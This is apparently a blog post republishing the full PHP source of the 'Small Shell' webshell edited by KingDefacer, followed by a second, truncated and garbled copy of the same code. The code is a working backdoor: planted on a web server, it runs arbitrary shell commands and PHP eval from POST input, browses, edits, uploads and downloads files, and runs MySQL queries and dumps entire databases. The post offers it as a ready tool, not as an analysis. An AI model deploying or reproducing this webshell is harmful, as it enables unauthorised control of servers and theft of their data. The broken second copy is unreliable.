small.php webshell

发表于 2015年10月26日
webshell
更新于 2016年07月29日 15:11:09 下午

php webshell

<?php
/**
 * Created by uedbox.com.
 * User: hackgyj
 * Date: 15/10/26
 * Time: 下午4:40
 */

##########################################################
# Small Shell - Edited By KingDefacer                      #
#  +POST method                                            #
#  +MySQL Client+Dumper for DB  and tables                 #
#  +PHP eval in text format and html for phpinfo() example #
# PREVED: sn0w, Zadoxlik, KingDefacer, Rebz, SkvoznoY      #
# All bugs -> alturks.com                                  #
# Just for fun :)                                          #
##########################################################
error_reporting( E_ALL );
@set_time_limit( 0 );
function magic_q( $s ) {
	if ( get_magic_quotes_gpc() ) {
		$s = str_replace( '\\\'', '\'', $s );
		$s = str_replace( '\\\\', '\\', $s );
		$s = str_replace( '\\"', '"', $s );
		$s = str_replace( '\\\0', '\0', $s );
	}

	return $s;
}

function get_perms( $fn ) {
	$mode  = fileperms( $fn );
	$perms = '';
	$perms .= ( $mode & 00400 ) ? 'r' : '-';
	$perms .= ( $mode & 00200 ) ? 'w' : '-';
	$perms .= ( $mode & 00100 ) ? 'x' : '-';
	$perms .= ( $mode & 00040 ) ? 'r' : '-';
	$perms .= ( $mode & 00020 ) ? 'w' : '-';
	$perms .= ( $mode & 00010 ) ? 'x' : '-';
	$perms .= ( $mode & 00004 ) ? 'r' : '-';
	$perms .= ( $mode & 00002 ) ? 'w' : '-';
	$perms .= ( $mode & 00001 ) ? 'x' : '-';

	return $perms;
}

$head  = <<<headka
<html>
<head>
<title>Small Shell - Edited By KingDefacer</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body link=palegreen vlink=palegreen text=palegreen bgcolor=#2B2F34>
<style>
textarea {
BORDER-RIGHT:  #ffffff 1px solid;
BORDER-TOP:    #999999 1px solid;
BORDER-LEFT:   #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;
}
input {
BORDER-RIGHT:  #ffffff 1px solid;
BORDER-TOP:    #999999 1px solid;
BORDER-LEFT:   #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
</style>
headka;
$page  = isset( $_POST['page'] ) ? $_POST['page'] : ( isset( $_SERVER['QUERY_STRING'] ) ? $_SERVER['QUERY_STRING'] : '' );
$page  = $page == '' || ( $page != 'cmd' && $page != 'mysql' && $page != 'eval' ) ? 'cmd' : $page;
$winda = strpos( strtolower( php_uname() ), 'wind' );
define( 'format', 50 );
$pages = '<center>###<a href=\'' . basename( __FILE__ ) . '\'>cmd</a>###<a href=\'' . basename( __FILE__ ) . '?mysql\'>mysql</a>###<a href=\'' . basename( __FILE__ ) . '?eval\'>eval</a>###</center>' . ( $winda === false ? 'id :' . `id` : '' );
switch ( $page )
{
case 'eval': {
	$eval_value = isset( $_POST['eval_value'] ) ? $_POST['eval_value'] : '';
	$eval_value = magic_q( $eval_value );
	$action     = isset( $_POST['action'] ) ? $_POST['action'] : 'eval';
	if ( $action == 'eval_in_html' ) {
		@eval( $eval_value );
	} else {
		echo( $head . $pages );
		?>
		<hr>
		<form method=post>
			<textarea cols=120 rows=20 name='eval_value'><? @eval( $eval_value ); ?></textarea>
			<input name='action' value='eval' type='submit'>
			<input name='action' value='eval_in_html' type='submit'>
			<input name='page' value='eval' type=hidden>
		</form>
		<hr>
		<?
	}
	break;
}
case 'cmd':
{
$cmd      = ! empty( $_POST['cmd'] ) ? magic_q( $_POST['cmd'] ) : '';
$work_dir = isset( $_POST['work_dir'] ) ? $_POST['work_dir'] : getcwd();
$action   = isset( $_POST['action'] ) ? $_POST['action'] : 'cmd';
if ( @is_dir( $work_dir ) ) {
	@chdir( $work_dir );
	$work_dir = getcwd();
	if ( $work_dir == '' ) {
		$work_dir = '/';
	} else if ( ! ( $work_dir{strlen( $work_dir ) - 1} == '/' || $work_dir{strlen( $work_dir ) - 1} == '\\' ) ) {
		$work_dir .= '/';
	}
} else if ( file_exists( $work_dir ) ) {
	$work_dir = realpath( $work_dir );
}
$work_dir   = str_replace( '\\', '/', $work_dir );
$e_work_dir = htmlspecialchars( $work_dir, ENT_QUOTES );
switch ( $action )
{
case 'cmd' :
{
echo( $head . $pages );
?>
<form method='post' name='main_form'>
	<input name='work_dir' value='<?= $e_work_dir ?>' type=text size=120>
	<input name='page' value='cmd' type=hidden>
	<input type=submit value='go'>
</form>
<form method=post>
	<input name='cmd' type=text size=120 value='<?= str_replace( '\'', ''', $cmd ) ?>'>
	<input name='work_dir' type=hidden>
	<input name='page' value='cmd' type=hidden>
	<input name='action' value='cmd' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
</form>
<form method=post enctype="multipart/form-data">
	<input type="file" name="filename">
	<input name='work_dir' type=hidden>
	<input name='page' value='cmd' type=hidden>
	<input name='action' value='upload' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
</form>
<form method=post>
	<input name='fname' type=text size=120><br>
	<input name='archive' type=radio value='none'>without arch
	<input name='archive' type=radio value='gzip' checked=true>gzip archive
	<input name='work_dir' type=hidden>
	<input name='page' value='cmd' type=hidden>
	<input name='action' value='download' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
</form>
<pre>
<?
if ( $cmd !== '' ) {
	echo( '<strong>' . htmlspecialchars( $cmd ) . "</strong><hr>\n<textarea cols=120 rows=20>\n" . htmlspecialchars( `$cmd` ) . "\n</textarea>" );
} else {
	$f_action = isset( $_POST['f_action'] ) ? $_POST['f_action'] : 'view';
	if ( @is_dir( $work_dir ) ) {
		echo( '<strong>Listing ' . $e_work_dir . '</strong><hr>' );
		$handle = @opendir( $work_dir );
		if ( $handle ) {
			while ( false !== ( $fn = readdir( $handle ) ) ) {
				$files[] = $fn;
			};
			@closedir( $handle );
			sort( $files );
			$not_dirs = array();
			for ( $i = 0; $i < sizeof( $files ); $i ++ ) {
				$fn = $files[ $i ];
				if ( is_dir( $fn ) ) {
					echo( '<a href=\'#\' onclick=\'document.list.work_dir.value="' . $e_work_dir . str_replace( '"', '"', $fn ) . '";document.list.submit();\'><b>' . htmlspecialchars( strlen( $fn ) > format ? substr( $fn, 0, format - 3 ) . '...' : $fn ) . '</b></a>' . str_repeat( ' ', format - strlen( $fn ) ) );
					if ( $winda === false ) {
						$owner = @posix_getpwuid( @fileowner( $work_dir . $fn ) );
						$group = @posix_getgrgid( @filegroup( $work_dir . $fn ) );
						printf( "% 20s|% -20s", $owner['name'], $group['name'] );
					}
					echo( @get_perms( $work_dir . $fn ) . str_repeat( ' ', 10 ) );
					printf( "% 20s ", @filesize( $work_dir . $fn ) . 'B' );
					printf( "% -20s", @date( 'M d Y H:i:s', @filemtime( $work_dir . $fn ) ) . "\n" );
				} else {
					$not_dirs[] = $fn;
				}
			}
			for ( $i = 0; $i < sizeof( $not_dirs ); $i ++ ) {
				$fn = $not_dirs[ $i ];
				echo( '<a href=\'#\' onclick=\'document.list.work_dir.value="' . ( is_link( $work_dir . $fn ) ? $e_work_dir . readlink( $work_dir . $fn ) : $e_work_dir . str_replace( '"', '"', $fn ) ) . '";document.list.submit();\'>' . htmlspecialchars( strlen( $fn ) > format ? substr( $fn, 0, format - 3 ) . '...' : $fn ) . '</a>' . str_repeat( ' ', format - strlen( $fn ) ) );
				if ( $winda === false ) {
					$owner = @posix_getpwuid( @fileowner( $work_dir . $fn ) );
					$group = @posix_getgrgid( @filegroup( $work_dir . $fn ) );
					printf( "% 20s|% -20s", $owner['name'], $group['name'] );
				}
				echo( @get_perms( $work_dir . $fn ) . str_repeat( ' ', 10 ) );
				printf( "% 20s ", @filesize( $work_dir . $fn ) . 'B' );
				printf( "% -20s", @date( 'M d Y H:i:s', @filemtime( $work_dir . $fn ) ) . "\n" );
			}
			echo( '</prre><hr>' );//此处prre请手动换成pre
			?>
			<form name='list' method=post>
				<input name='work_dir' type=hidden size=120><br>
				<input name='page' value='cmd' type=hidden>
				<input name='f_action' value='view' type=hidden>
			</form>
			<?
		} else {
			echo( 'Error Listing ' . $e_work_dir );
		}
	} else
		switch ( $f_action ) {
			case 'view': {
				echo( '<strong>' . $e_work_dir . " Edit</strong><hr><pre>\n" );
				$f = @fopen( $work_dir, 'r' );
				?>
				<form method=post>
					<textarea name='file_text' cols=120 rows=20><? if ( ! ( $f ) ) {
							echo( $e_work_dir . ' not exists' );
						} else while ( ! feof( $f ) )
							echo htmlspecialchars( fread( $f, 100000 ) ) ?></textarea>
					<input name='page' value='cmd' type=hidden>
					<input name='work_dir' type=hidden value='<?= $e_work_dir ?>' size=120>
					<input name='f_action' value='save' type=submit>
				</form>
				<?
				break;
			}
			case 'save' : {
				$file_text = isset( $_POST['file_text'] ) ? magic_q( $_POST['file_text'] ) : '';
				$f         = @fopen( $work_dir, 'w' );
				if ( ! ( $f ) ) {
					echo( '<strong>Error ' . $e_work_dir . "</strong><hr><pre>\n" );
				} else {
					fwrite( $f, $file_text );
					fclose( $f );
					echo( '<strong>' . $e_work_dir . " is saving</strong><hr><pre>\n" );
				}
				break;
			}
		}
	break;
}
break;
}
case 'upload' : {
	if ( $work_dir == '' ) {
		$work_dir = '/';
	} else if ( ! ( $work_dir{strlen( $work_dir ) - 1} == '/' || $work_dir{strlen( $work_dir ) - 1} == '\\' ) ) {
		$work_dir .= '/';
	}
	$f = $_FILES["filename"]["name"];
	if ( ! @copy( $_FILES["filename"]["tmp_name"], $work_dir . $f ) ) {
		echo( 'Upload is failed' );
	} else {
		echo( 'file is uploaded in ' . $e_work_dir );
	}
	break;
}
case 'download' : {
	$fname     = isset( $_POST['fname'] ) ? $_POST['fname'] : '';
	$temp_file = isset( $_POST['temp_file'] ) ? 'on' : 'nn';
	$f         = @fopen( $fname, 'r' );
	if ( ! ( $f ) ) {
		echo( 'file is not exists' );
	} else {
		$archive = isset( $_POST['archive'] ) ? $_POST['archive'] : '';
		if ( $archive == 'gzip' ) {
			Header( "Content-Type:application/x-gzip\n" );
			$s = gzencode( fread( $f, filesize( $fname ) ) );
			Header( 'Content-Length: ' . strlen( $s ) . "\n" );
			Header( 'Content-Disposition: attachment; filename="' . str_replace( '/', '-', $fname ) . ".gz\n\n" );
			echo( $s );
		} else {
			Header( "Content-Type:application/octet-stream\n" );
			Header( 'Content-Length: ' . filesize( $fname ) . "\n" );
			Header( 'Content-Disposition: attachment; filename="' . str_replace( '/', '-', $fname ) . "\n\n" );
			ob_start();
			while ( feof( $f ) === false ) {
				echo( fread( $f, 10000 ) );
				ob_flush();
			}
		}
	}
}
}
break;
}
case 'mysql' : {
	$action = isset( $_POST['action'] ) ? $_POST['action'] : 'query';
	$user   = isset( $_POST['user'] ) ? $_POST['user'] : '';
	$passwd = isset( $_POST['passwd'] ) ? $_POST['passwd'] : '';
	$db     = isset( $_POST['db'] ) ? $_POST['db'] : '';
	$host   = isset( $_POST['host'] ) ? $_POST['host'] : 'localhost';
	$query  = isset( $_POST['query'] ) ? magic_q( $_POST['query'] ) : '';
	switch ( $action ) {
		case 'dump' : {
			$mysql_link = @mysql_connect( $host, $user, $passwd );
			if ( ! ( $mysql_link ) ) {
				echo( 'Connect error' );
			} else {
//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols
				$to_file = isset( $_POST['to_file'] ) ? ( $_POST['to_file'] == '' ? false : $_POST['to_file'] ) : false;
				$archive = isset( $_POST['archive'] ) ? $_POST['archive'] : 'none';
				if ( $archive !== 'none' ) {
					$to_file = false;
				}
				$db_dump    = isset( $_POST['db_dump'] ) ? $_POST['db_dump'] : '';
				$table_dump = isset( $_POST['table_dump'] ) ? $_POST['table_dump'] : '';
				if ( ! ( @mysql_select_db( $db_dump, $mysql_link ) ) ) {
					echo( 'DB error' );
				} else {
					$dump_file = "#ZaCo MySQL Dumper\n#db $db from $host\n";
					ob_start();
					if ( $to_file ) {
						$t_f = @fopen( $to_file, 'w' );
						if ( ! $t_f ) {
							die( 'Cant opening ' . $to_file );
						}
					} else {
						$t_f = false;
					}
					if ( $table_dump == '' ) {
						if ( ! $to_file ) {
							header( 'Content-Type: application/x-' . ( $archive == 'none' ? 'octet-stream' : 'gzip' ) . "\n" );
							header( "Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql" . ( $archive == 'none' ? '' : '.gz' ) . "\"\n\n" );
						}
						$result = mysql_query( 'show tables', $mysql_link );
						for ( $i = 0; $i < mysql_num_rows( $result ); $i ++ ) {
							$rows    = mysql_fetch_array( $result );
							$result2 = @mysql_query( 'show columns from `' . $rows[0] . '`', $mysql_link );
							if ( ! $result2 ) {
								$dump_file .= '#error table ' . $rows[0];
							} else {
								$dump_file .= 'create table `' . $rows[0] . "`(\n";
								for ( $j = 0; $j < mysql_num_rows( $result2 ) - 1; $j ++ ) {
									$rows2 = mysql_fetch_array( $result2 );
									$dump_file .= '`' . $rows2[0] . '` ' . $rows2[1] . ( $rows2[2] == 'NO' && $rows2[4] != 'NULL' ? ' NOT NULL DEFAULT \'' . $rows2[4] . '\'' : ' DEFAULT NULL' ) . ",\n";
								}
								$rows2 = mysql_fetch_array( $result2 );
								$dump_file .= '`' . $rows2[0] . '` ' . $rows2[1] . ( $rows2[2] == 'NO' && $rows2[4] != 'NULL' ? ' NOT NULL DEFAULT \'' . $rows2[4] . '\'' : ' DEFAULT NULL' ) . "\n";
								$type[ $j ] = $rows2[1];
								$dump_file .= ");\n";
								mysql_free_result( $result2 );
								$result2 = mysql_query( 'select * from `' . $rows[0] . '`', $mysql_link );
								$columns = $j - 1;
								for ( $j = 0; $j < mysql_num_rows( $result2 ); $j ++ ) {
									$rows2 = mysql_fetch_array( $result2 );
									$dump_file .= 'insert into `' . $rows[0] . '` values (';
									for ( $k = 0; $k < $columns; $k ++ ) {
										$dump_file .= $rows2[ $k ] == '' ? 'null,' : '\'' . addslashes( $rows2[ $k ] ) . '\',';
									}
									$dump_file .= ( $rows2[ $k ] == '' ? 'null);' : '\'' . addslashes( $rows2[ $k ] ) . '\');' ) . "\n";
									if ( $archive == 'none' ) {
										if ( $to_file ) {
											fwrite( $t_f, $dump_file );
											fflush( $t_f );
										} else {
											echo( $dump_file );
											ob_flush();
										}
										$dump_file = '';
									}
								}
								mysql_free_result( $result2 );
							}
						}
						mysql_free_result( $result );
						if ( $archive != 'none' ) {
							$dump_file = gzencode( $dump_file );
							header( 'Content-Length: ' . strlen( $dump_file ) . "\n" );
							echo( $dump_file );
						} else if ( $t_f ) {
							fclose( $t_f );
							echo( 'Dump for ' . $db_dump . ' now in ' . $to_file );
						}
					} else {
						$result2 = @mysql_query( 'show columns from `' . $table_dump . '`', $mysql_link );
						if ( ! $result2 ) {
							echo( 'error table ' . $table_dump );
						} else {
							if ( ! $to_file ) {
								header( 'Content-Type: application/x-' . ( $archive == 'none' ? 'octet-stream' : 'gzip' ) . "\n" );
								header( "Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql" . ( $archive == 'none' ? '' : '.gz' ) . "\"\n\n" );
							}
							if ( $to_file === false ) {
								header( 'Content-Type: application/x-' . ( $archive == 'none' ? 'octet-stream' : 'gzip' ) . "\n" );
								header( "Content-Disposition: attachment; filename=\"dump_{$db_dump}_${table_dump}.sql" . ( $archive == 'none' ? '' : '.gz' ) . "\"\n\n" );
							}
							$dump_file .= "create table `{$table_dump}`(\n";
							for ( $j = 0; $j < mysql_num_rows( $result2 ) - 1; $j ++ ) {
								$rows2 = mysql_fetch_array( $result2 );
								$dump_file .= '`' . $rows2[0] . '` ' . $rows2[1] . ( $rows2[2] == 'NO' && $rows2[4] != 'NULL' ? ' NOT NULL DEFAULT \'' . $rows2[4] . '\'' : ' DEFAULT NULL' ) . ",\n";
							}
							$rows2 = mysql_fetch_array( $result2 );
							$dump_file .= '`' . $rows2[0] . '` ' . $rows2[1] . ( $rows2[2] == 'NO' && $rows2[4] != 'NULL' ? ' NOT NULL DEFAULT \'' . $rows2[4] . '\'' : ' DEFAULT NULL' ) . "\n";
							$type[ $j ] = $rows2[1];
							$dump_file .= ");\n";
							mysql_free_result( $result2 );
							$result2 = mysql_query( 'select * from `' . $table_dump . '`', $mysql_link );
							$columns = $j - 1;
							for ( $j = 0; $j < mysql_num_rows( $result2 ); $j ++ ) {
								$rows2 = mysql_fetch_array( $result2 );
								$dump_file .= 'insert into `' . $table_dump . '` values (';
								for ( $k = 0; $k < $columns; $k ++ ) {
									$dump_file .= $rows2[ $k ] == '' ? 'null,' : '\'' . addslashes( $rows2[ $k ] ) . '\',';
								}
								$dump_file .= ( $rows2[ $k ] == '' ? 'null);' : '\'' . addslashes( $rows2[ $k ] ) . '\');' ) . "\n";
								if ( $archive == 'none' ) {
									if ( $to_file ) {
										fwrite( $t_f, $dump_file );
										fflush( $t_f );
									} else {
										echo( $dump_file );
										ob_flush();
									}
									$dump_file = '';
								}
							}
							mysql_free_result( $result2 );
							if ( $archive != 'none' ) {
								$dump_file = gzencode( $dump_file );
								header( 'Content-Length: ' . strlen( $dump_file ) . "\n" );
								echo $dump_file;
							} else if ( $t_f ) {
								fclose( $t_f );
								echo( 'Dump for ' . $db_dump . ' now in ' . $to_file );
							}
						}
					}
				}
			}
			break;
		}
		case 'query' : {
			echo( $head . $pages );
			?>
			<hr>
			<form method=post>
				<table>
					<td>
						<table align=left>
							<tr>
								<td>User :<input name='user' type=text value='<?= $user ?>'></td>
								<td>Passwd :<input name='passwd' type=text value='<?= $passwd ?>'></td>
								<td>Host :<input name='host' type=text value='<?= $host ?>'></td>
								<td>DB :<input name='db' type=text value='<?= $db ?>'></td>
							</tr>
							<tr><textarea name='query' cols=120 rows=20><?= htmlspecialchars( $query ) ?></textarea>
							</tr>
						</table>
					</td>
					<td>
						<table>
							<tr>
								<td>DB :</td>
								<td><input type=text name='db_dump' value='<?= $db ?>'></td>
							</tr>
							<tr>
								<td>Only Table :</td>
								<td><input type=text name='table_dump'></td>
							</tr>
							<input name='archive' type=radio value='none'>without arch
							<input name='archive' type=radio value='gzip' checked=true>gzip archive
							<tr>
								<td><input type=submit name='action' value='dump'></td>
							</tr>
							<tr>
								<td>Save result to :</td>
								<td><input type=text name='to_file' value='' size=23></td>
							</tr>
						</table>
					</td>
				</table>
				<input name='page' value='mysql' type=hidden>
				<input name='action' value='query' type=submit>
			</form>
			<hr>
			<?
			$mysql_link = @mysql_connect( $host, $user, $passwd );
			if ( ! ( $mysql_link ) ) {
				echo( 'Connect error' );
			} else {
				if ( $db != '' ) {
					if ( ! ( @mysql_select_db( $db, $mysql_link ) ) ) {
						echo( 'DB error' );
						mysql_close( $mysql_link );
						break;
					}
				}
//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols
				$result = @mysql_query( $query, $mysql_link );
				if ( ! ( $result ) ) {
					echo( mysql_error() );
				} else {
					echo( "<table valign=top align=left>\n<tr>" );
					for ( $i = 0; $i < mysql_num_fields( $result ); $i ++ ) {
						echo( '<td><b>' . htmlspecialchars( mysql_field_name( $result, $i ) ) . '</b>  </td>' );
					}
					echo( "\n</tr>\n" );
					for ( $i = 0; $i < mysql_num_rows( $result ); $i ++ ) {
						$rows = mysql_fetch_array( $result );
						echo( '<tr valign=top align=left>' );
						for ( $j = 0; $j < mysql_num_fields( $result ); $j ++ ) {
							echo( '<td>' . ( htmlspecialchars( $rows[ $j ] ) ) . '</td>' );
						}
						echo( "</tr>\n" );
					}
					echo( "</table>\n" );
				}
				mysql_close( $mysql_link );
			}
			break;
		}
	}
	break;
}
}
?>

	<h1>Edited By KingDefacer<h1>

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<?php

/**

* Created by uedbox.com.

* User: hackgyj

* Date: 15/10/26

* Time: 下午4:40

##########################################################

# Small Shell - Edited By KingDefacer #

# +POST method #

# +MySQL Client+Dumper for DB and tables #

# +PHP eval in text format and html for phpinfo() example #

# PREVED: sn0w, Zadoxlik, KingDefacer, Rebz, SkvoznoY #

# All bugs -> alturks.com #

# Just for fun :) #

##########################################################

error_reporting( E_ALL );

@set_time_limit( 0 );

function magic_q( $s ) {

if ( get_magic_quotes_gpc() ) {

$s = str_replace( '\\\'', '\'', $s );

$s = str_replace( '\\\\', '\\', $s );

$s = str_replace( '\\"', '"', $s );

$s = str_replace( '\\\0', '\0', $s );

}

return $s;

}

function get_perms( $fn ) {

$mode = fileperms( $fn );

$perms = '';

$perms .= ( $mode & 00400 ) ? 'r' : '-';

$perms .= ( $mode & 00200 ) ? 'w' : '-';

$perms .= ( $mode & 00100 ) ? 'x' : '-';

$perms .= ( $mode & 00040 ) ? 'r' : '-';

$perms .= ( $mode & 00020 ) ? 'w' : '-';

$perms .= ( $mode & 00010 ) ? 'x' : '-';

$perms .= ( $mode & 00004 ) ? 'r' : '-';

$perms .= ( $mode & 00002 ) ? 'w' : '-';

$perms .= ( $mode & 00001 ) ? 'x' : '-';

return $perms;

}

$head = <<<headka

<html>

<head>

<title>Small Shell - Edited By KingDefacer</title>

</head>

<style>

textarea {

BORDER-RIGHT: #ffffff 1px solid;

BORDER-TOP: #999999 1px solid;

BORDER-LEFT: #999999 1px solid;

BORDER-BOTTOM: #ffffff 1px solid;

BACKGROUND-COLOR: #e4e0d8;

font: Fixedsys bold;

}

input {

BORDER-RIGHT: #ffffff 1px solid;

BORDER-TOP: #999999 1px solid;

BORDER-LEFT: #999999 1px solid;

BORDER-BOTTOM: #ffffff 1px solid;

BACKGROUND-COLOR: #e4e0d8;

font: 8pt Verdana;

}

</style>

headka;

$page = isset( $_POST['page'] ) ? $_POST['page'] : ( isset( $_SERVER['QUERY_STRING'] ) ? $_SERVER['QUERY_STRING'] : '' );

$page = $page == '' || ( $page != 'cmd' && $page != 'mysql' && $page != 'eval' ) ? 'cmd' : $page;

$winda = strpos( strtolower( php_uname() ), 'wind' );

define( 'format', 50 );

$pages = '<center>###<a href=\'' . basename( __FILE__ ) . '\'>cmd</a>###<a href=\'' . basename( __FILE__ ) . '?mysql\'>mysql</a>###<a href=\'' . basename( __FILE__ ) . '?eval\'>eval</a>###</center>' . ( $winda === false ? 'id :' . `id` : '' );

switch ( $page )

{

case 'eval': {

$eval_value = isset( $_POST['eval_value'] ) ? $_POST['eval_value'] : '';

$eval_value = magic_q( $eval_value );

$action = isset( $_POST['action'] ) ? $_POST['action'] : 'eval';

if ( $action == 'eval_in_html' ) {

@eval( $eval_value );

} else {

echo( $head . $pages );

<hr>

</form>

<hr>

}

break;

}

case 'cmd':

{

$cmd = ! empty( $_POST['cmd'] ) ? magic_q( $_POST['cmd'] ) : '';

$work_dir = isset( $_POST['work_dir'] ) ? $_POST['work_dir'] : getcwd();

$action = isset( $_POST['action'] ) ? $_POST['action'] : 'cmd';

if ( @is_dir( $work_dir ) ) {

@chdir( $work_dir );

$work_dir = getcwd();

if ( $work_dir == '' ) {

$work_dir = '/';

} else if ( ! ( $work_dir{strlen( $work_dir ) - 1} == '/' || $work_dir{strlen( $work_dir ) - 1} == '\\' ) ) {

$work_dir .= '/';

}

} else if ( file_exists( $work_dir ) ) {

$work_dir = realpath( $work_dir );

}

$work_dir = str_replace( '\\', '/', $work_dir );

$e_work_dir = htmlspecialchars( $work_dir, ENT_QUOTES );

switch ( $action )

{

case 'cmd' :

{

echo( $head . $pages );

</form>

</form>

</form>

<input name='archive' type=radio value='none'>without arch

<input name='archive' type=radio value='gzip' checked=true>gzip archive

</form>

<pre>

if ( $cmd !== '' ) {

echo( '<strong>' . htmlspecialchars( $cmd ) . "</strong><hr>\n<textarea cols=120 rows=20>\n" . htmlspecialchars( `$cmd` ) . "\n</textarea>" );

} else {

$f_action = isset( $_POST['f_action'] ) ? $_POST['f_action'] : 'view';

if ( @is_dir( $work_dir ) ) {

echo( '<strong>Listing ' . $e_work_dir . '</strong><hr>' );

$handle = @opendir( $work_dir );

if ( $handle ) {

while ( false !== ( $fn = readdir( $handle ) ) ) {

$files[] = $fn;

};

@closedir( $handle );

sort( $files );

$not_dirs = array();

for ( $i = 0; $i < sizeof( $files ); $i ++ ) {

$fn = $files[ $i ];

if ( is_dir( $fn ) ) {

echo( '<a href=\'#\' onclick=\'document.list.work_dir.value="' . $e_work_dir . str_replace( '"', '"', $fn ) . '";document.list.submit();\'><b>' . htmlspecialchars( strlen( $fn ) > format ? substr( $fn, 0, format - 3 ) . '...' : $fn ) . '</b></a>' . str_repeat( ' ', format - strlen( $fn ) ) );

if ( $winda === false ) {

$owner = @posix_getpwuid( @fileowner( $work_dir . $fn ) );

$group = @posix_getgrgid( @filegroup( $work_dir . $fn ) );

printf( "% 20s|% -20s", $owner['name'], $group['name'] );

}

echo( @get_perms( $work_dir . $fn ) . str_repeat( ' ', 10 ) );

printf( "% 20s ", @filesize( $work_dir . $fn ) . 'B' );

printf( "% -20s", @date( 'M d Y H:i:s', @filemtime( $work_dir . $fn ) ) . "\n" );

} else {

$not_dirs[] = $fn;

}

for ( $i = 0; $i < sizeof( $not_dirs ); $i ++ ) {

$fn = $not_dirs[ $i ];

echo( '<a href=\'#\' onclick=\'document.list.work_dir.value="' . ( is_link( $work_dir . $fn ) ? $e_work_dir . readlink( $work_dir . $fn ) : $e_work_dir . str_replace( '"', '"', $fn ) ) . '";document.list.submit();\'>' . htmlspecialchars( strlen( $fn ) > format ? substr( $fn, 0, format - 3 ) . '...' : $fn ) . '</a>' . str_repeat( ' ', format - strlen( $fn ) ) );

if ( $winda === false ) {

$owner = @posix_getpwuid( @fileowner( $work_dir . $fn ) );

$group = @posix_getgrgid( @filegroup( $work_dir . $fn ) );

printf( "% 20s|% -20s", $owner['name'], $group['name'] );

}

echo( @get_perms( $work_dir . $fn ) . str_repeat( ' ', 10 ) );

printf( "% 20s ", @filesize( $work_dir . $fn ) . 'B' );

printf( "% -20s", @date( 'M d Y H:i:s', @filemtime( $work_dir . $fn ) ) . "\n" );

}

echo( '</prre><hr>' );//此处prre请手动换成pre

</form>

} else {

echo( 'Error Listing ' . $e_work_dir );

}

} else

switch ( $f_action ) {

case 'view': {

echo( '<strong>' . $e_work_dir . " Edit</strong><hr><pre>\n" );

$f = @fopen( $work_dir, 'r' );

<textarea name='file_text' cols=120 rows=20><? if ( ! ( $f ) ) {

echo( $e_work_dir . ' not exists' );

} else while ( ! feof( $f ) )

echo htmlspecialchars( fread( $f, 100000 ) ) ?></textarea>

</form>

break;

}

case 'save' : {

$file_text = isset( $_POST['file_text'] ) ? magic_q( $_POST['file_text'] ) : '';

$f = @fopen( $work_dir, 'w' );

if ( ! ( $f ) ) {

echo( '<strong>Error ' . $e_work_dir . "</strong><hr><pre>\n" );

} else {

fwrite( $f, $file_text );

fclose( $f );

echo( '<strong>' . $e_work_dir . " is saving</strong><hr><pre>\n" );

}

break;

}

break;

}

break;

}

case 'upload' : {

if ( $work_dir == '' ) {

$work_dir = '/';

} else if ( ! ( $work_dir{strlen( $work_dir ) - 1} == '/' || $work_dir{strlen( $work_dir ) - 1} == '\\' ) ) {

$work_dir .= '/';

}

$f = $_FILES["filename"]["name"];

if ( ! @copy( $_FILES["filename"]["tmp_name"], $work_dir . $f ) ) {

echo( 'Upload is failed' );

} else {

echo( 'file is uploaded in ' . $e_work_dir );

}

break;

}

case 'download' : {

$fname = isset( $_POST['fname'] ) ? $_POST['fname'] : '';

$temp_file = isset( $_POST['temp_file'] ) ? 'on' : 'nn';

$f = @fopen( $fname, 'r' );

if ( ! ( $f ) ) {

echo( 'file is not exists' );

} else {

$archive = isset( $_POST['archive'] ) ? $_POST['archive'] : '';

if ( $archive == 'gzip' ) {

Header( "Content-Type:application/x-gzip\n" );

$s = gzencode( fread( $f, filesize( $fname ) ) );

Header( 'Content-Length: ' . strlen( $s ) . "\n" );

Header( 'Content-Disposition: attachment; filename="' . str_replace( '/', '-', $fname ) . ".gz\n\n" );

echo( $s );

} else {

Header( "Content-Type:application/octet-stream\n" );

Header( 'Content-Length: ' . filesize( $fname ) . "\n" );

Header( 'Content-Disposition: attachment; filename="' . str_replace( '/', '-', $fname ) . "\n\n" );

ob_start();

while ( feof( $f ) === false ) {

echo( fread( $f, 10000 ) );

ob_flush();

}

break;

}

case 'mysql' : {

$action = isset( $_POST['action'] ) ? $_POST['action'] : 'query';

$user = isset( $_POST['user'] ) ? $_POST['user'] : '';

$passwd = isset( $_POST['passwd'] ) ? $_POST['passwd'] : '';

$db = isset( $_POST['db'] ) ? $_POST['db'] : '';

$host = isset( $_POST['host'] ) ? $_POST['host'] : 'localhost';

$query = isset( $_POST['query'] ) ? magic_q( $_POST['query'] ) : '';

switch ( $action ) {

case 'dump' : {

$mysql_link = @mysql_connect( $host, $user, $passwd );

if ( ! ( $mysql_link ) ) {

echo( 'Connect error' );

} else {

//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols

$to_file = isset( $_POST['to_file'] ) ? ( $_POST['to_file'] == '' ? false : $_POST['to_file'] ) : false;

$archive = isset( $_POST['archive'] ) ? $_POST['archive'] : 'none';

if ( $archive !== 'none' ) {

$to_file = false;

}

$db_dump = isset( $_POST['db_dump'] ) ? $_POST['db_dump'] : '';

$table_dump = isset( $_POST['table_dump'] ) ? $_POST['table_dump'] : '';

if ( ! ( @mysql_select_db( $db_dump, $mysql_link ) ) ) {

echo( 'DB error' );

} else {

$dump_file = "#ZaCo MySQL Dumper\n#db $db from $host\n";

ob_start();

if ( $to_file ) {

$t_f = @fopen( $to_file, 'w' );

if ( ! $t_f ) {

die( 'Cant opening ' . $to_file );

}

} else {

$t_f = false;

}

if ( $table_dump == '' ) {

if ( ! $to_file ) {

header( 'Content-Type: application/x-' . ( $archive == 'none' ? 'octet-stream' : 'gzip' ) . "\n" );

header( "Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql" . ( $archive == 'none' ? '' : '.gz' ) . "\"\n\n" );

}

$result = mysql_query( 'show tables', $mysql_link );

for ( $i = 0; $i < mysql_num_rows( $result ); $i ++ ) {

